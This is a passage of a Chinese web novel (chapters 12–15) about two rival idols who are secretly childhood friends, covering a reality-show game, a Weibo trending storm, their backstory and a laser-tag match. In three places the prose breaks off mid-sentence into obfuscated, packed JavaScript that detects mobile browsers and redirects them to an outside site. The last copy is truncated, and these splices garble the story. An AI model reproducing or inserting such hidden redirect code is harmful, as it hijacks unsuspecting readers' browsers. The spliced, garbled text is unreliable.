柯响颇为感同身受地拍了拍他的肩膀,“哥,谢谢你拿走了我的福气。” 松穆笑不太出来,但林露秋心情不错,他勾着唇角,借着桌子的遮挡用脚尖抵了抵松穆的,两个人的距离不近不远,林露秋下巴微扬,耳后的小黄鸭只堪堪露出一个扁嘴,在某人眼里可爱得有点犯规。 某人听到小黄鸭对他说。 “松老师,接下来的比赛还请多多指教。” 12. 牵手 有了道具卡的出现,这场游戏就和单纯地摘草莓没什么太大关系了。 不知道是谁打来了一盆水,剩下五个人摘完草莓就往盆里丢,一边洗一边吃,连比赛都不管了,探头探脑看长桌这边的热闹。 第一轮玩的是我有你没有,每个人伸五根手指,说出自己独有的经历,其他人如果没有就要折下一根手指,最先折完五根手指的淘汰。 柯响排序第一,说了个不痛不痒的,“我能接受香菜。” 松穆不在攻击范围,晃了晃全新无暇的手掌,意有所指,“原来不挑食还有这种好处。” 林露秋睨了他一眼,默默折下一根手指。 柯响有些意外:“小秋哥竟然不吃香菜?” 温白爱吃香菜,做菜的时候如果用到了香菜,放的量会多一点,昨天好几道菜都是这样,但林露秋也没表现出任何旁的反应,每道菜都面不改色吃了不少。 现在想想,可能只是头一天不好意思说忌口,又不愿意拂温白的面子,就硬着头皮吃了。 松穆没忍住哼笑了一声。 岂止是不吃香菜,林露秋挑食挑得厉害,葱姜蒜末能不碰就不碰,什么芹菜蓬蒿马兰头更是一闻到味就躲出去三里远,爱吃的东西掰掰手指都撑不满数。 小时候被松穆父母盯着还有所收敛,等上了大学,挑三拣四的毛病愈发严重,连生病都不听医嘱,有时候让松穆恨得想掐着脖子把东西灌他嘴里。 娇气,又不省心。 以后哪家姑娘能受得了他? 想到这,松穆胸口不知为何倏地收紧了,闷得厉害,他思维不断发散,竟然忍不住开始幻想起来。 林露秋也快三十了,等合约到期,是不是就要准备恋爱了? 那家伙谈恋爱的时候会怎么样,又喜欢什么样的人? 等他找了对象,也是现在这样处处需要对方照顾的样子吗? 松穆以前问过林露秋的理想型,问他喜欢年上还是年下,当时林露秋怎么说的来着?他有点奇怪地看了自己一眼,然后说都不喜欢。 那就是喜欢同龄人了。 同龄啊......林露秋眼光挑,肯定喜欢好看的,他又粘人,到时候他俩几天都见不了一次面,一问就是在陪对象。 松穆脑中缓缓浮现出一个又一个的场景,无一例外,都是林露秋和他女朋友约会时的样子。 女方的面容不甚清晰,只朦朦胧胧有个轮廓,个头应该比林露秋矮一点,留着长发,很亲昵地贴着他,后者就露出那种熟悉的勾人的笑,微微侧头听着,模样漂亮而刺目。 松穆感到呼吸不畅。 他知道林露秋的心不大,以前放着妈妈,后来则加上了松穆和他的爸妈,满满当当,几乎留不出什么缝隙。 但是以后会很突然地出现一个陌生人,在这颗心里扎根,一点点发芽、结果,枝叶茂盛,直至把松穆都遮掉。 松穆和林露秋认识了二十七年,但人生还长,松穆只能靠着一起长大的情分霸占林露秋的一个阶段,等再过几年、几十年,林露秋身边就没有他的身影了。 陪着林露秋的是别人了。 家门的指纹被抹去,同住的痕迹被覆盖,他成了林露秋口中的朋友,不再特殊,不再受到优待。 林露秋不会对他撒娇、发怒,开一些不着边际的玩笑,他的喜怒哀乐全部留给了自己寻找的新的家人。 而松穆却只能在朋友圈的零星动态中窥探到原来所触手可及的一切,以一种可怜又阴暗的姿态与他的生活产生关联。 甚至连道别都没有,从此渐行渐远。 松穆被未知的恐惧束紧了咽喉,晕头转向,找不到出路。 他第一次发现,原来再紧密缠绕在一起的两条线,也有不剪断就能分开的办法。 . 最后一轮,柯响说自己曾在大学和男朋友一起牵手逛过校园。 松穆连男同都不是,哪来的男朋友,想也不想就要折。 林露秋眼疾手快拦了一下,顺势握上了松穆的掌心,“我们也牵过。” 松穆第一念头是,和我有什么关系,大脑迟钝地响应了一会儿,才反应过来,哦,他在和我营业。 他俩的恋综人设是竹马了二十多年的情侣。 柯响说:“现在牵不行,要在大学。” 林露秋:“对啊,我俩一个大学的,下课了经常一起牵手逛校园。” 这话也不假,他们大一的时候还没出道,在外也不会刻意遮掩,有时候林露秋看手机不看路,松穆就会无奈地牵着他的手,免得人受伤。 见林露秋理直气壮搬人设出来,松穆也一副默认着帮腔的样子,柯响索性算他们过了。 林露秋光明正大占了个便宜心里还挺高兴的,但松穆的情绪自那之后就一直不太对劲,皱着眉,时不时倒吸一口气,一会儿干劲十足,隔了几秒又突然萎靡不振,神游天外。 像一株看完广告狂冒太阳的向日葵,一边晃头一边被僵尸啃,要死不活。 林露秋不动声色观察着他,而后嘴角弧度越来越淡,甚至差点变成冷笑。 和自己在镜头前牵了个手就这么不情愿? 真这么不乐意的话,当初干什么来找他,就一直当个传言中的死对头得了。 两边都乐得清静! 林露秋心中泛酸,不笑了。 松穆也被自己搞得精神恍惚。 他满脑子都是: 林露秋想和对象一起在大学牵手。 林露秋不会已经牵过了吧? 他以前有没有背着自己偷偷谈恋爱? 不可能吧...... 但万一呢! 退一万步说,就算他以前没有,那以后呢? 他是不是真想谈了? 他谈了我怎么办? ...... 气氛诡异。 诡异到柯响后半程全程放水,道具卡抽出来的负面效果也被他主动抗了一半,看戏的开始认认真真比赛了,甚至隔三差五给他们仨喂草莓,手动打码一样,把林露秋和松穆微妙的神情挡了个严实。 一场游戏结束,第一、二、三名分别是林露秋、松穆、柯响他们三组。 另外六人发出由衷地欢呼。 下午是真人cs,这次没拆官配,四个小组分散在场地各方,通过物资夺取来淘汰对手。 这块区域是专门开发出来搞Wargame的,各种设施都很完善,大大保障了游戏体验,不过也由于场地太大,又不能让跟拍上场破坏游戏环境,干脆上了无人机。 顾一默坐在设备前看镜头画面。 现在刚开局,为了保证前期优势,有三组都选择了分开行动来扫荡范围内物资。 不过大抵是上一轮游戏被分开了,六人多少有点黏黏糊糊的,走几步要回一下头,哪怕只是对视一下都觉得心安,笑得眼睛都弯了才继续打开下一间房。 ——只唯独一组。 林露秋和松穆。 这两人自换好装备起就没有说过一句话,中间隔了四五个人的距离,偏偏就是不分开,走哪都要一起去,像是被一根看不到的棒子绑在了两端,靠不近离不开。 林露秋往左边走,松穆就也往左边走,但不停下,看着倒是很忙地到处晃悠,实际活动区域就是绕着林露秋画圈。 有些房间面积很小,东西摆放也不多,一眼就能望到头,就这样的地方两个人还要一起进去装模作样翻翻找找,看得顾一默眉头挑了一下又一下。 恰好助理过来,捧着手机激动地给她看,“姐!咱们上热搜了!” 顾一默一看,确实上了,还是被绑着上的,甚至没有姓名。 热搜第七:#松穆林露秋 恋综# 她点进去。 @吃瓜小欧:保真!保真!惊天巨饼,据可靠人脉透露,有俩顶流最近打包进恋综了!而且还不是观察室,是正儿八经一起绑定参加恋综的,甚至节目已经开拍了!绝对顶流,绝对爆炸!!! 这是一条两个小时前的微博,不过饶是字里行间加塞了这么多感叹号,一开始的评论反应也都平平。 【营销号口中还有不是顶流的明星吗】 【说吧,又是哪个名不见经传的糊人】 【已阅】 许是被一溜烟的冷嘲热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960329|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讽刺激到了,营销号在评论中再次发言。 @吃瓜小欧:我拿我的姓氏和职业生涯做担保!顶流,顶爆了的那种,两个都是著名的超一线男艺人!但恋综很糊,是很突然就开拍的,之前圈内一点消息都没收到,所以别说你们,我也很懵,反反复复确认了三遍才敢发出来! 【真假的?我难道能有幸见到一个热搜的诞生?】 【不管了,先打卡】 【不是,你们真的信啊,超一线统共才几个?还俩男艺人,团队是多脑残会放真正大火的艺人去参加男同糊综,编假料前也先动动脑子吧】 【演员?还是爱豆?】 【不敢置信地把这段话又看了一遍,真去的话谁还分得清是剧组还是恋综】 【你们麦麸卖得太严重.JPG】 【不说名字一律不信】 @吃瓜小欧回复 :是爱豆,最近一起上过热搜 【接我CP】 【呃,谁苗姐,我只能想到四字男团那对】 【可莱普斯?他们还需要恋综吗,自制综艺不就卖爽了】 【明鉴啊,我们小糊可还没到超一线】 【不会是那对吧......】 【最近一起上过热搜,这不指名道姓了吗,松穆林露秋啊】 【big胆,打过来老人孩子先跑】 之后博主没再回复,只暗戳戳的给某条提到松穆林露秋的评论点了赞,算是默认。 于是,短短半个小时,林露秋和松穆就再次荣登热搜前列,甚至随着时间流逝,这条微博的热度只增不减,广场飞速变成战场,硝烟弥漫,双方慰问的父老乡亲加起来能屠半个国,威力堪比灭霸的响指。 【活久见,遛粉遛到祺粉身上了,有本事就直接爆出节目名字然后官宣啊,别最后一看引火烧身了又着急忙慌要撇清关系】 【林露秋忙着休假呢,劳烦惦记哈】 【谁???林露秋和松穆?不是,俩公司准备联姻吗,最近怎么一直拉这俩,开源节流[空]】 【笑掉大牙了,松穆铁直男好吧,和队友麦都不乐意还和林露秋卖?下家吸血吸疯了吧/白眼】 【嗯嗯原来你们也知道#松穆霸凌队友##松穆超绝臭脸#】 【坏了,你们都在开炮,但我是真想看恋综】 【真上啊?那能亲嘴吗@松穆@林露秋】 【我连他俩同框都不敢想,结果一睁眼这俩要上恋综了......不会哪天就生了吧/害怕】 【他俩什么时候谈的?不对,他俩谈了?】 【假的吧,估计是炒作,不知道两边团队在发什么疯】 【@不羡鸳鸯羡高山:?不是说在度假吗......?】 【我靠,是我CP!豹豹猫猫终于要认识了,欢迎大家一起来磕呀『超话·松露』】 [此评论已被举报删除] [该用户近期被投诉次数过多,现已禁言] . 网上纷纷扰扰,事件中心的两人同样心思各异。 林露秋察觉松穆看自己的眼神不对,那是一种裹挟着刺痛的欲言又止。 林露秋猜不透他这突兀情感的来源,思来想去,只有兜回到自己身上,于是不免开始犹疑,对方是不是发现了什么? 发现了他就快藏不住的心思,发现了他们即将一去不返的未来。 分明是林露秋多年以来一直期盼着的画面,但在这一刻,他又忍不住退缩了。 是,他知道松穆喜欢他,这样的判断坚定地陪伴了他许久,久到成了理所当然的习惯,久到他差点忘了年少时的悸动下所掩埋的不安胆怯。 林露秋很不想承认,但他的确动摇了,在这再平凡不过的一天,突然又茫然地停下了向前迈步的动作。 这实在不像他的性格。 可面对的是松穆,他不得不再谨慎些,甚至开始瞻前顾后。 林露秋的情绪不高,自然没注意松穆频频想要贴近的动作。 终于,在不知第几次被无视后,松穆忍不住了,他在漆黑一片的安全通道里,一言不发地困住了林露秋。 十指紧扣。 13. 孽缘 林露秋和松穆到底为什么会成为对家? 这个问题有一个很长的答案。 除了公司缘故,和组合间的孽缘也脱不了干系。 Hallucin和Pupkin,即两人所在团体,同是七人团,同年同月同周出道,出道日期虽然错开了一天,但前者是深夜23时59分,后者则为次日零点01分。 短短两分钟,成了一场长达八年,甚至更久的战争导火索。 而更让外人咂舌的,则是林露秋和松穆两人高度相似的履历。 同为S市人,在队内排行老六,定位门面主舞,一个爱在左耳戴耳钉,另一个爱戴右耳,甚至人设都撞了,家境优良的富二代学霸。 曾有热心的别家粉丝花了几天几夜搜罗出两人出道至今所有雷同的信息,并拉了一张表。 在其中的某场采访中,主持人问:“学生时代有什么记忆深刻的事情吗?” 松穆:“我想想......大概是在小学那会儿吧,学校里举办运动会,第一名可以换一只超大的毛绒公仔,我朋友想要,就报名了,结果后来他被临时拉去表演舞台剧,等要开跑了衣服还没换下来。” 主持人:“不能穿着直接跑吗?” 松穆似乎想到了什么有趣的事情,弯着眸乐了。 “穿着...哈,也可以,但我那哥们演的是公主。”他简单比划了一下,“裙子蓬着,头上还有俩小辫,特可爱,被我妈抓着拍了好几张照片,现在还在我手机里存着。” 逢年过节都要拿出来供全家人回味回味。 “他衣服留在了宿舍,来回一趟时间来不及,急得眼睛都红了。”像只兔子,看得人心软,“但是一个班只能上一个人,没办法,我只能拿着他的号码牌冒名顶替了。” 松穆从小运动神经就好,一个人蹭蹭蹭把其他小孩甩得远远的,他跑的时候小公主就趴在报告厅窗口看着,还在他夺冠后跳起来挥了挥手。 这段视频也存了下来。 “不过礼品还是没拿到,被隔壁班同学举报了,成绩作废,最后我妈带着我俩一人买了个公仔。” 因为小辫没拆,一路上还被好多阿姨夸“多漂亮的小丫头”。 松妈妈对此照单全收,说她俩孩子一个比一个可爱,然后抱着亲了好几口。 那“小丫头”就全程红着脸低着头,紧紧抓着松穆的衣角,都不敢吱声。 当时这段采访出来后,很多粉丝都在羡慕松穆有个这么活泼的妈妈,少部分人好奇他一直提在嘴边的“哥们”究竟是何方神圣,可惜这么些年了依旧没人扒出来。 隔年,林露秋则是在一档运动类综艺中,被问到参加过最难忘的运动会。 镜头中,林露秋抿了抿唇,回想了片刻才道,“以前报名过跑步类的项目,第一名会赠送礼品。” 主持人:“什么礼品,最后拿到了吗?” 林露秋:“嗯,是个公仔,很大很软。” 主持人恭维:“那就是第一名?原来我们露秋意料之外是个强力选手啊。” 林露秋许是被夸得不太好意思,只笑着,并未回答。 因着这一个TMI,林露秋最后被安排参与了短跑,可惜落败了,成绩还不太好看,事后被松穆的粉丝抓着好生嘲讽了一段时间,说他想照抄松穆立运动天赋结果大翻车,还嘲他没第一的命就别做第一的梦。 而类似的情况层出不穷。 松穆前脚说在某次考试拿到过班级第二,后脚林露秋那边就说自己拿过班级第一。 一个人接朋友的时候坐过了站,另一个人会说自己等朋友的时候报错了站台的名字,结果最后竟然碰上了。 同样半夜偷偷翻墙拿外卖但是翻不回去,同样在考试的时候和同学眉来眼去被当成了作弊,同样在练舞室啃蛋糕但不小心翻了满地。 按理来说这种程度的相似多少会引来粉丝的疑惑——他们是不是认识? 可答案是斩钉截铁的【否】。 因为两人出道八年从未在公开场合提及过对方,没有合作,没有合照,没有互关,什么都没有,有粉丝曾经在签售时大胆问过两人的关系,而得到的回答是毫不犹豫的“不认识”/“不熟”。 开口时一个不自觉皱眉,一个则笑不及眼底。 这两段视频至今都是内娱微表情分析top1,相关二三四五创的播放量居高不下,每一次两家大战都会拉出来反复重温,经久不衰,惹人惊叹。 谁能想到事实恰恰大相径庭呢? 又有谁能想到,松穆会突然牵住林露秋的手。 林露秋被吓了一跳,视野在晃动,厚重的门板将日光隔绝在外,他就这么猝不及防地被人摁着肩膀堵在了转角,后背抵上冰凉的铁质栏杆扶手。 他手上拿着枪,惊吓过后下意识要抬手,枪口在半空无措地划过,而后被一只手掐着枪管摁了下去。 松穆的瞳色本来就深,俯视时阴影打下,更显得眉目锋利,双眸漆暗。 他本就沉浸在远离林露秋的情绪里,在察觉到对方有意回避自己后更是烦躁得头脑发烫。 已经顾不上是何时何地了,松穆仅剩的理智只能让他尚且记得还在录制,才不至于当场爆发。 便携摄像被拽了下来,松穆用膝盖分开林露秋的双腿,强硬地把人钉在了原地,他一手扣着对方的手,另一只手覆在了林露秋腰后,以温热的体温取代刺骨的冷意。 松穆压着嗓子,语调很凶,“什么意思,躲我?”语毕膝盖又往前顶了一分,像是在逼迫。 林露秋在最初的惊慌过后很快就调整好状态,听到这话笑了,喉间溢出一声冷哼,“不想和我接触的不是你吗?”他指尖在松穆胸口点了两下,用了点力,把人推远了些。 松穆被他戳得又痛又痒,下意识收紧了掌心,两人的掌纹就这么贴合在一起,摩挲出暧昧痒意。 “林前辈。”他靠在林露秋耳边,好好一个称呼被喊得尤为嘲讽戏谑,“怎么这么喜欢倒打一耙啊?” 松穆瞧着凶,但每次和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960330|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林露秋吵架也都只过过嘴瘾,雷声大雨点小,像是只为了大声控诉自己有多委屈。 这个姿势让林露秋不是很舒服,他发现松穆的态度有所软化,索性卸了力,顺势靠坐在对方大腿,轻轻夹了下。 林露秋蹭过松穆绷得梆硬的大腿,神情漫不经心,活像一位傲慢又不讲理的少爷,“知道我是前辈态度还这么差,你们公司就是这么教导艺人的?” “比不上贵公司,合作舞台都心心念念要拿块板把我们分开。”说到这,松穆不免开始咬牙切齿,“我还从没见过这么没有诚意的合作。” 开缘皆鎏之间斗法严重是公认的,不过近年来高层变动,加上圈内发展下行,两家已经隐隐有了合作的意向,毕竟再怎么看不惯对方,利益面前还是分得清孰轻孰重。 可多年来的沉疴积怨难以抹消,这个口子兜兜转转,最后开在了林露秋和松穆的身上,两边一合计,来了个合作舞台。 只是这场合作颇有种捏着鼻子吃屎的强死强活,两边团队都憋着气,什么环节都要抢话语权,一天一个主意,常常争到面红耳赤、破口大骂,连表面的客套也维持不住,差点闹掰。 ——不过这俩公司的爱恨情仇,往后也和林露秋没什么关系了。 思绪回笼,林露秋扶着松穆的手臂倾身,捏了捏他绷紧的下颚,而后又偏过对方的头,略带玩味地朝他耳垂吹了口气,“原来你对那支舞这么念念不忘......如果不分开呢,你想怎么跳?” 说着,他的手顺势下滑,贴着松穆做了几个小幅度的舞蹈动作,“这样......还是这样?” 葱白的指节隔着衣服擦过敏感的侧腹,松穆呼吸蓦地乱了,他瞬间后撤半步,斜跨着的步枪撞上肩胛,一把圈住了林露秋细瘦的手腕。 但松穆忘了林露秋还坐在自己身上,他一动,林露秋就要往下滑,于是在大脑都还没反应过来的时候,松穆又反手捞起人,直接把他半挂在了自己身上。 “......” 林露秋喋喋不休的嘴忽然闭上了。 他的视角由仰视转为了俯视,小臂圈在松穆颈后,半边身子都腾空了,大腿被一双有力的臂弯托举着,心跳如雷。 一个过于亲密,又过于浮想联翩的姿势。 这下迟钝如松穆也不自在了起来。 他错开林露秋仿佛沾染了水光的视线,想把人放下,可臂间的触感过于鲜明,那种又韧又软的肉感叫他一下失了动作,连掌心该放在哪里都不知道。 松穆想,明明是个连饭都要哄着才会吃的家伙,怎么这个地方却有肉呢。 更过分的是,林露秋连挂着都不安分,双腿夹着松穆的腰,有一搭没一搭地晃。 他笑着问:“你这是在报复我吗?” 松穆看着他一张一合的唇,在心里反驳。 我怎么更像是在奖励你。 正要说些什么来打破眼下逐渐浓稠的氛围,突然,楼梯间内传来了空荡的脚步声。 有人正在靠近。 14. 掩护 CS的场地并不是常见的废弃建筑加草地障碍物的配置,而是选用了一栋极具简约风的仿研究所大楼。 故事背景为现代末世,处于东三角基地的C2研究所沦陷,大量实验体出逃,极端的血腥混乱中,不同阵营势力暗自潜入,以争夺研究所的核心样本。 八人两两为一单位进行阵营身份抽取,阵营共有四个,分别是研究所、实验体、监察院和第一中心,四大阵营相互牵扯、相互制约。 松穆和林露秋抽到的身份是研究所阵营的歼灭官和研究员。 歼灭官,工作是处理失控的实验体,并保障研究员的人身安全,武器为激光步枪,射程远威力大,但换弹时间长,对实验体有压制属性。 研究员,妄图将丧尸病毒植入人体的疯子,是生产出无数非人非兽怪物的罪魁祸首,武器为药剂短步枪,能造成毒性的持续伤害,缺点是血量低,易被实验体击杀。 不同阵营的服饰不同,研究所是统一的白大褂,不过材质偏硬,用的亮面漆皮,衣襟旁印着基地LOGO——药物与倾倒的血滴,几道青色的反光条横在衣袖,侧、后方交错穿过了很多绑带。 配套还有一张ID卡和一个腰挎包,林露秋的装了满当的药剂,松穆则是匕首和手枪。 游戏内设置的物资道具种类很多,支援、进攻类应有尽有,还能通过搭配组合来升级自身的属性与装备,枪支中不装有实弹,游戏整体数字化,与腕表中的APP绑定。 四组的初始位置随机分散,林露秋和松穆的运气不太好,周围没找到什么好用的道具,不过他们有主场优势,腕表中自带一张内部索引图。 他们此刻所在的位置是三楼楼梯间,楼梯间在同一平面设有两扇门,一扇是林露秋和松穆来时的路,另一扇门后则是通往实验体宿舍的透明通道。 而突然响起的脚步声,是从楼下传来的。 林露秋拍了拍松穆的臂膀,后者犹豫几秒,把他轻轻放了下来。 松穆的初始血量是610,林露秋则只有450,若是现在和别的阵营遇上,风险太大。 故而只对视了一眼,两人就做下了决定。 ——攻击,然后跑! 呼吸在瞬间放缓,腰肢收紧,下压成发力状,两人屏息凝神,几乎同阴影融为一体,直到脚步愈来愈近,心跳声随之清晰震耳,两人的身影同时动了。 松穆拆了一颗先前搜罗到的手雷,林露秋则在其上附加了一针瞬时毒剂,两相叠加,中毒buff瞬间攀了上来。 松穆迅速将手雷抛下,塑料硬壳在楼梯间滚动,发出的声响很快引起了来人的注意。 只听到有人急促喊了句“小心!”,林露秋和松穆调转方向,趁乱跨上了通往顶楼的台阶。 好在这一层没有其他队伍,松穆反手阖上门,隔绝了身后炸开的毒雾。 将门反锁,林露秋一边打量这一层的环境,一边道:“楼下的是温白和柯响?” 一闪而逝的声音有些失真,不过林露秋还是分辨出了对方的身份。 “嗯。我记得他们是监察院的人。”柯响说着,把先前扯下的便携摄像安了回去。 监察院属于中立组织,在末世中充当了审判庭的角色,素来以铁面无私闻名,LOGO为一柄利刃天平。 这次研究所沦陷,实验体出逃,将东三角基地多年来隐藏在暗处的阴暗面一起翻了上来,监察院出面,一是负责善后,二是为了抓捕剩余的研究所成员。 因而这个阵营的初始攻击力很高,近战武器甚至能做到一击毙命,就是树敌太多,更加容易受到伤害。 “这针毒应该能吃了他们半管血。”林露秋盘算着效果,眯了眯眼,露出几分隐秘的畅快,“好歹也是我们研究所最得力的几个作品之一啊......” 既然碰上了,林露秋就不打算让对方全须全尾地回去,他拿的是药剂包中毒性最强的一管,名字很简单粗暴,叫“夺命”,在使用的瞬间便会起效,甚至能对己方造成伤害。 林露秋就算自带抗毒buff也在一两滴的持续往下掉血,他给自己和松穆分别扎了半支强效解毒剂,回了点状态,才开始扫荡第四层。 比起其他几层,四层的空间肉眼可见小了很多,灯光昏暗,摆放了很多货架及杂乱的物品,在地图上显示的名称是仓库。 林露秋随手拿起货架上的一样东西,背面标着【解毒剂】的字样,但已经过期了。 他翻了翻相邻的其他物品,无一例外都是如此。 松穆站在他身后,抬臂抽出最上方的一个塑料盒子,感慨,“好多零零碎碎的药剂,要是都能带走就好了。” 这个动作使他们间的距离骤然缩短,前胸贴着后背,松穆还无意识地将唇附在林露秋耳边,呼吸喷洒,烫得人耳廓发痒。 林露秋要是在这时后仰,肩头还能抵上松穆那训练过后柔韧饱满的胸肌。 他手中还举着过期的解毒剂,在松穆倾身时也不避让,反而稍稍偏过头,将自己半困在对方的臂弯中,很轻地笑了声。 “很可惜,歼灭官先生。这些材料已经受到了污染,无法投入实战了。” 肩头和上臂如愿被紧实的软肉舔舐似的碾了一下,林露秋不动声色给自己充了会儿电,半晌才喟叹着继续搜寻。 游戏中的可用物资都有特殊标识,四楼虽然物品多,但是可供使用的没几个,大多是过期的残次品,甚至没法二次合成。 挑挑拣拣,最后林露秋和松穆在角落一人收了一瓶扩血药剂,回复并增加了20点HP上限。 补充完物资,林露秋想起一件事:“温白拿的是不是狙?” 松穆把药剂分好类,重新塞进林露秋的腰包,“对,柯响是散弹枪,两把都有电击麻痹的效果。” 温白的狙击枪应该是在场所有武器中威力最大的一把,可惜受到场地限制,使用起来并不方便。 他们应该是想往上走,寻找适合的狙击点位,就是没想到会和林露秋他们正碰上。 仓库打的是诡异的蓝紫光,侧面开窗,玻璃上凌乱印着许多血手印,不像人的,更像来自什么动物,林露秋重新穿戴好装备,走过去。 室外依旧有一部分场地,林露秋挑开破烂的窗帘向下望,想观察地形,但只一眼,便让他瞳孔骤缩,倏地瞪大了眼。 ——他竟然和身在一楼的尤卜直直对上了视线。 后者长发高束,屈膝靠在车头,内搭一件黑色紧身衣,配上短款机车外套,恰好露出轮廓精瘦有力的腰肢,下身一条宽松的工装裤,用鲜艳的颜色涂鸦着嚣张至极的“The First Center”,不羁又疯狂。 尤卜仰着头,脸颊画了一道潺潺流血的狰狞伤口,正笑着,朝他举起了手中的弩。 弩已经拉开了弦,尤卜的指尖搭在扳机,随时就要发射。 来不及细想对方是怎么发现的他们,林露秋飞速举枪瞄准,只可惜距离太远,三发都落了空。 尤卜倒是不避不让,一发射出后不紧不慢再次拉弦,精致修长的美甲搭在粗犷的弩.枪上,形成一种微妙的暴力美学。 林露秋腕表红光闪烁,显示他肩膀中弹,好在有玻璃阻挡,只掉了50滴血量。 松穆在林露秋举枪的瞬间就飞速赶了过来。 他把林露秋拉到身后,开窗、射击,没有任何瞄准,松穆凭借着自己的感觉连发四枪,在击中尤卜后迅速后撤,但饶是动作已经够快,依旧被不知哪来的飞弹射掉了1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一路上都很静,静到白炽灯下的走廊仿佛被无限延长,所有的门都是关闭的,整个世界好似只剩下了他们两个。 终于,在双眼都被灯光晃得开始晕眩时,视野中终于出现了蓝天白云的一角。 露台外已经没有了薛常的身影,尤卜也离开了原地,林露秋正打算沿着外围向下,忽然,耳边炸开一声尖锐的枪响。 身体被人猛地拽了过去,还没等回神,又是几声不同枪响,从三个方位交错响起。 身前是熟悉的怀抱,松穆的心跳剧烈击打在林露秋的耳畔,在这天旋地转的短暂时间中,一切感官都变得尤为敏锐,他听到了松穆粗重的呼吸,摸到了他举枪后发硬的肌肉,于是身体也跟着一道震颤了起来。 松穆的腕表接连闪烁的三次红光将林露秋的思绪拉回正轨,他在松穆的保护下目光快速扫过四周,最后捕捉到了四道身影。 在室外草丛中架狙的温白,从二楼通道赶来的殷潚隗立宵,以及三楼窗口的薛常。 而林露秋和松穆,恰好处于三方围困的中心。 松穆的血量在接二连三的攻击中很快来到了红线,但由于还要护着林露秋,他的撤退路线变得尤为艰难。 大脑在极速运转,林露秋手上不停地给松穆拆回血剂,好在他身上还有增益buff,硬生生熬过了这一波猛烈的攻势。 枪声渐消,几方同时开始补充弹药。 林露秋找准机会,从松穆腰间摸过手枪,语速飞快留了一句:“掩护我。” 随后在松穆怔愣的视线中一把将人推回门后,自己则挂着栏杆,径直翻下了楼。 松穆看着眼前灰色的铁门,缓缓眨了下眼。 是错觉吗...... 林露秋似乎在拿东西的时候,十分顺手又不客气地揉了把他的腰? 15. 尸群 林露秋的动作很快,多年来的舞蹈基础让他的身体尤为灵活轻盈,几乎只是一个眨眼的功夫,那道如燕似的身影就已经消失在了面前。 外围的楼梯平台形状并不规整,凸出来的一截正好作为落脚处,林露秋腰肢舒展,一手拿着枪,一手攀住栏杆,轻轻一翻就挂在了半空,落地时脚尖掂起,流畅又漂亮地下到了二楼。 二楼摆放了一个巨大的铁桶,正正好好遮挡住林露秋的身影,他俯下身,从三楼的死角瞄准,连发数十枪击中了窗沿后的薛常。 其中一发恰好钉在薛常的眉心,红光乍现,后者瞬间陷入濒死状态,被迫撤出射击区域。 游戏中的子弹容量和现实不同,林露秋打光一弹匣,一边换弹,一边借着遮蔽物如法炮制继续跳到一楼。 殷潚和隗立宵已经来到了通道中端,只要打开尽头的那扇门,就能进入研究所内部,进而绕到松穆身后。 他们的身份为出逃的实验体,身上则穿着研究所统一的防护服——虽然叫防护服,实际和囚服也并没太大区别,布料采用了大面积以至于刺目的白,医用绑带紧紧束缚在四肢、胸腔。 背部是深入脊骨的抑制装置,可研究所已经覆灭,装置的作用也在逐渐消减,实验体压抑着的兽态开始暴露,从唇边探出锋利的牙,从体表开出艳丽的花。 除了腕表,实验体还佩有醒目的颈圈,颈圈似乎被外力破坏过,忽明忽暗地闪着破碎光,仔细辨认下,能发现上面是一串数字,代表了实验体的编号。 以松穆现在的状态显然无法击倒两人,而林露秋要做的就是尽可能消耗他们的火力。 他借着楼层的高低差看清敌方动线,随后将药剂步枪调整为瞄准模式,植入两管针对实验体的镇定剂,蓄力。 林露秋的武器不适合这样远距离的射击,所以他干脆直接舍弃掉“一击毙命”的念头,专心叠加干扰类减益效果。 只要能限制行动,死的和活的有什么区别? 不过移动的目标大大妨碍了林露秋的准心,他被迫多次调整方向,以找到最佳的射击角度。 毕竟药剂珍贵,一发都不能浪费。 可这么一来,林露秋的背部不得不暴露在外,场地空旷,简直成了绝佳的狩猎场所。 外围的温白眯起了眼。 他找准时机,偏头,紧紧注视着瞄准镜中的那道身影,指尖搭上扳机,胸膛在急促的呼吸中不停起伏,直到红心对准了目标的头部...... 发射! 仿真的后坐力震麻了温白的肩头。 这一发准得离谱,恍惚中温白几乎都能听到那近在咫尺的阵亡警报,但预想中的红光并没有出现,微微晃动的视野中,林露秋依旧身姿矫健地穿梭在空地上。 温白怔愣。 他思绪停滞了几秒,才缓缓低头。 警报的确响了。 不过对象不是林露秋,而是他。 温白抬头望去,看到了来自二楼,松穆先一步举起的枪口。 . 林露秋的确如计划中那样击中了实验体。 研究所的药剂对实验体有着天然的压制力,几乎是中弹的瞬间,隗立宵的腕表就亮起了黄光,代表行动受限,攻击禁止。 但可惜的是,他的第二发子弹没有发挥出应有的效用。 隗立宵的反应很快,中弹后并未着急躲避,而是将殷潚拉到了保护范围内,硬生生抗下两针药剂,挂上了中毒buff。 实验体的武器自带病毒,不过和研究员的毒性不同,病毒更具攻击性,也能无视一切障碍物进行穿透。 